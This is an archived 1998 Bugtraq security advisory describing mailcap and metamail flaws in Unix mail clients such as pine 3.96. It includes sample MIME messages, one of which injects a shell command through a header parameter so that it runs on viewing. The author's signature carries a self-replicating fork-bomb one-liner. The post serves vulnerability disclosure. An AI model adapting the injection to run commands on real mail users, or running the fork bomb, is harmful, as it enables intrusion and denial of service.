X-RDate: Mon, 06 Apr 1998 10:09:14 +0600 (ESD)
Date: Sun, 5 Apr 1998 15:25:25 +0200
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: mailrc and pine security holes
Many of mailcap-compatible unix mail clients have several security holes.
Mailcap mechanism is usually so poorly implemented that it's possible
to perform wida range of attacks - from 'harmless' messing on screen,
through executing specific commands with arbitrary parameters,
even to executing *arbitrary* commands via e-mail message.
Here are examples, both tested under Linux RH 5.0 distribution (mailcap
1.0.6, pine 3.96):
Example 1 (light) - pine 3.96 confusion
Following example demostrates how to cause a few 'mostly harmless'
errors due to the improper expansion of ` character by pine - it's
just annoying, because you can't view this mail properly, but I
have no idea if it's exploitable:
**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: text/plain;
charset="crashme`"
Content-Transfer-Encoding: quoted-printable
Hellow!
------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ***
Example 2 (heavy) - execution of arbitrary code
That's something even more dangerous - following MIME mail, when viewed,
executes 'touch /tmp/BIG_HOLE' (bug lies in metamail script):
**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: default;
encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
Content-Transfer-Encoding: quoted-printable
Hellow!!!
------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ****
_______________________________________________________________________
Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]
